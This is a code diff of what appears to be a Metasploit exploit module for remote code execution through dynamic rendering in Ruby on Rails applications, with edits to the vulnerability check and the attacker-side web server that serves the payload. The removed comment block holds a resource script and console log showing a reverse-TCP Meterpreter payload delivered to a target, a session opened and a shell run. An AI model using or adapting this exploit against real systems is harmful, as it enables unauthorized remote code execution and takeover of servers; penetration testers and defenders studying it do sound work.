@@ -71,7 +71,7 @@ def check
71
71
'method' => 'GET' ,
72
72
} , 60 )
73
73
74
- # if the page controller is dynamically rendering, its probably vuln
74
+ # if the page controller is dynamically rendering, its for sure vuln
75
75
if res and res . body =~ /render params/
76
76
return Exploit ::CheckCode ::Vulnerable
77
77
end
@@ -84,9 +84,8 @@ def check
84
84
85
85
# maybe its exploitable
86
86
if res and res . body =~ /ruby/
87
- return Exploit ::CheckCode ::Vulnerable
87
+ return Exploit ::CheckCode ::Appears
88
88
end
89
-
90
89
return Exploit ::CheckCode ::Safe
91
90
end
92
91
@@ -154,18 +153,19 @@ def start_http_server
154
153
@elf_sent = false
155
154
downfile = rand_text_alpha ( 8 +rand ( 8 ) )
156
155
resource_uri = '/' + downfile
157
-
158
- # do not use SSL for the attacking web server
159
- if datastore [ 'SSL' ]
160
- ssl_restore = true
161
- datastore [ 'SSL' ] = false
162
- end
163
156
if ( datastore [ 'SRVHOST' ] == "0.0.0.0" or datastore [ 'SRVHOST' ] == "::" )
164
157
srv_host = datastore [ 'URIHOST' ] || Rex ::Socket . source_address ( rhost )
165
158
else
166
159
srv_host = datastore [ 'SRVHOST' ]
167
160
end
168
- @service_url = 'http://' + srv_host + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
161
+
162
+ # do not use SSL for the attacking web server
163
+ if datastore [ 'SSL' ]
164
+ ssl_restore = true
165
+ datastore [ 'SSL' ] = false
166
+ end
167
+
168
+ @service_url = "http://#{ srv_host } :#{ datastore [ 'SRVPORT' ] } #{ resource_uri } "
169
169
service_url_payload = srv_host + resource_uri
170
170
print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ @service_url } ..." )
171
171
start_service ( { 'Uri' => {
@@ -198,49 +198,3 @@ def exploit
198
198
end
199
199
end
200
200
end
201
-
202
- =begin
203
- saturn:metasploit-framework mr_me$ cat scripts/rails.rc
204
- use exploit/multi/http/rails_dynamic_render_code_exec
205
- set RHOST 172.16.175.251
206
- set payload linux/x86/meterpreter/reverse_tcp
207
- set LHOST 172.16.175.1
208
- check
209
- exploit
210
- saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
211
- [*] Processing scripts/rails.rc for ERB directives.
212
- resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
213
- resource (scripts/rails.rc)> set RHOST 172.16.175.251
214
- RHOST => 172.16.175.251
215
- resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
216
- payload => linux/x86/meterpreter/reverse_tcp
217
- resource (scripts/rails.rc)> set LHOST 172.16.175.1
218
- LHOST => 172.16.175.1
219
- resource (scripts/rails.rc)> check
220
- [+] 172.16.175.251:3000 The target is vulnerable.
221
- resource (scripts/rails.rc)> exploit
222
- [*] Exploit running as background job.
223
- [*] Started reverse TCP handler on 172.16.175.1:4444
224
-
225
- [*] Sending initial request to detect exploitability
226
- msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
227
- [*] Using URL: http://0.0.0.0:1337/iUDaRVpz
228
- [*] Local IP: http://192.168.100.13:1337/iUDaRVpz
229
- [*] uploading image...
230
- [+] injected payload
231
- [*] 172.16.175.251:3000 - Sending the payload to the server...
232
- [*] Transmitting intermediate stager for over-sized stage...(105 bytes)
233
- [*] Sending stage (1495599 bytes) to 172.16.175.251
234
- [*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
235
- [+] Deleted /tmp/NhhGKCCIgwF
236
-
237
- msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
238
- [*] Starting interaction with 1...
239
-
240
- meterpreter > shell
241
- Process 50809 created.
242
- Channel 1 created.
243
- $ id
244
- uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
245
- $
246
- =end
0 commit comments